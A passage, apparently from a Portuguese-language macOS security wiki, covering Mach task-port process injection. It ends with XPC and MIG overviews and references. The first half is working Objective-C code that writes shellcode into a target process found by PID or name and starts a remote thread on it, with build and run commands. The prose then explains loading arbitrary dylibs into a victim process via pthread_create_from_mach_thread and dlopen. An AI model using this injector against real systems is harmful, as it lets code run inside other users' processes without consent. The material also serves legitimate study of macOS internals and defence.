// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

Para que isso funcione no iOS, você precisa da permissão dynamic-codesigning para poder tornar uma memória gravável executável.

Injeção de Dylib em thread via porta de Tarefa

No macOS, threads podem ser manipulados via Mach ou usando a API posix pthread. A thread que geramos na injeção anterior foi gerada usando a api Mach, então não é compatível com posix.

Foi possível injetar um shellcode simples para executar um comando porque não precisava trabalhar com apis compatíveis com posix, apenas com Mach. Injeções mais complexas precisariam que a thread também fosse compatível com posix.

Portanto, para melhorar a thread, ela deve chamar pthread_create_from_mach_thread que irá criar um pthread válido. Em seguida, este novo pthread poderia chamar dlopen para carregar uma dylib do sistema, então em vez de escrever um novo shellcode para realizar ações diferentes, é possível carregar bibliotecas personalizadas.

Você pode encontrar exemplos de dylibs em (por exemplo, aquele que gera um log e então você pode ouvi-lo):

```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject ``` ### Sequestro de Thread via porta de tarefa

Nesta técnica, uma thread do processo é sequestrada:

XPC

Informações Básicas

XPC, que significa Comunicação entre Processos XNU (o kernel usado pelo macOS), é um framework para comunicação entre processos no macOS e iOS. XPC fornece um mecanismo para fazer chamadas de método seguras e assíncronas entre diferentes processos no sistema. É parte do paradigma de segurança da Apple, permitindo a criação de aplicativos com privilégios separados onde cada componente é executado com apenas as permissões necessárias para realizar seu trabalho, limitando assim o dano potencial de um processo comprometido.

Para obter mais informações sobre como essa comunicação funciona e como ela pode ser vulnerável, consulte:

MIG - Gerador de Interface Mach

O MIG foi criado para simplificar o processo de criação de código Mach IPC. Isso ocorre porque grande parte do trabalho para programar RPC envolve as mesmas ações (empacotar argumentos, enviar a mensagem, desempacotar os dados no servidor...).

O MIG basicamente gera o código necessário para o servidor e o cliente se comunicarem com uma definição fornecida (em IDL - Interface Definition Language). Mesmo que o código gerado seja feio, um desenvolvedor só precisará importá-lo e seu código será muito mais simples do que antes.

Para mais informações, consulte:

Referências

• https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html

• https://knight.sc/malware/2019/03/15/code-injection-on-macos.html

• https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a

• https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/

• https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/

• *OS Internals, Volume I, User Mode, Jonathan Levin